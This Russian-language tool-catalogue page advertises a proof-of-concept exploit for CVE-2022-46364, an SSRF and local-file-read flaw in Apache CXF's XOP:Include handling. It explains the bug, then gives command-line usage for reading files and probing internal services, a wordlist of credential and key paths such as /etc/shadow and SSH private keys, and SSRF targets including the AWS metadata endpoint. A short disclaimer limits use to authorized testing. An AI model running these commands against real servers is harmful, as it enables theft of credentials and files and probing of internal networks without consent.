Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI | Kitploit
Инструменты/GitHubGitHub/0xmid00/cve-2022-46364-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззингТестирование на Проникновение
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

Автор: 0xmid00
Уязвимость: SSRF / Чтение локальных файлов через XOP:Include в MTOM-запросах
Затрагивает: Apache CXF < 3.5.5 и < 3.4.10


В чем уязвимость?

Apache CXF обрабатывает MTOM (Message Transmission Optimization Mechanism) сообщения, содержащие элементы XOP:Include. Атрибут href элемента XOP:Include должен ссылаться на вложение в том же MTOM multipart-сообщении.

Однако в уязвимых версиях CXF будет следовать любому URI, указанному в href, включая:

  • file:///etc/passwd → чтение локальных файлов (LFI)
  • http://127.0.0.1:PORT/ → зондирование внутренних сервисов (SSRF)

Злоумышленнику достаточно отправить SOAP-запрос с хотя бы одним параметром любого типа, чтобы вызвать это.


Требования

root@kitploit:~
pip install requests

Использование

root@kitploit:~
python3 exploit.py -r request.txt [options]

Аргументы


Формат файла запроса

Сохраните ваш сырой HTTP-запрос в файл .txt точно так, как он был перехвачен (например, из Burp):

root@kitploit:~
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

Эксплойт автоматически преобразует его в MTOM-формат — вам не нужно делать это вручную.


Примеры

Режим 1 — Автоопределение всех внедряемых полей

root@kitploit:~
python3 exploit.py -r request.txt --mode 1

Пытается внедрить file:///etc/passwd в каждый конечный XML-элемент и сообщает, какие из них возвращают содержимое файла.


Режим 1 — Проверка конкретного поля

root@kitploit:~
python3 exploit.py -r request.txt --mode 1 --field content

Режим 2 — Фаззинг файлов (сначала автоопределение поля)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

Сначала запускает Режим 1 для поиска внедряемого поля, затем фаззит все пути из wordlist через это поле.


Режим 2 — Фаззинг файлов с известным полем (самый быстрый)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

Пропускает обнаружение поля и переходит сразу к фаззингу.


Чтение одного файла

root@kitploit:~
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

Пример wordlist (lfi.txt)

root@kitploit:~
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

Вы также можете использовать SecLists:

root@kitploit:~
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Как это работает

  1. Анализирует файл сырого HTTP-запроса
  2. Находит целевое XML-поле в SOAP-теле
  3. Заменяет его содержимое на <xop:Include href="file:///..."/>
  4. Оборачивает запрос в MTOM multipart-формат (требуется для активации XOP-процессора CXF)
  5. Отправляет запрос — CXF загружает файл и возвращает его содержимое в base64-кодировке
  6. Декодирует и выводит результат

Режим SSRF

Для зондирования внутренних HTTP-сервисов вместо чтения файлов:

root@kitploit:~
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

Или измените значение --read на любой внутренний URL:

root@kitploit:~
--read http://169.254.169.254/latest/meta-data/   (метаданные AWS)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (баннер SSH)

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования на проникновение и CTF-задач. Автор не несет ответственности за любое неправомерное использование.

Скачать инструмент
АргументОписание
-r, --requestПуть к файлу сырого HTTP-запроса (обязательно)
--mode 1Автоопределение внедряемых XML-полей с помощью /etc/passwd
--mode 2Фаззинг через wordlist путей к файлам
--field NAMEУказать XML-поле для внедрения (пропускает автоопределение)
--wordlist PATHПуть к wordlist файлов для Режима 2
--read PATHЧтение одного конкретного файла
-v, --verboseПоказать подробную информацию о запросе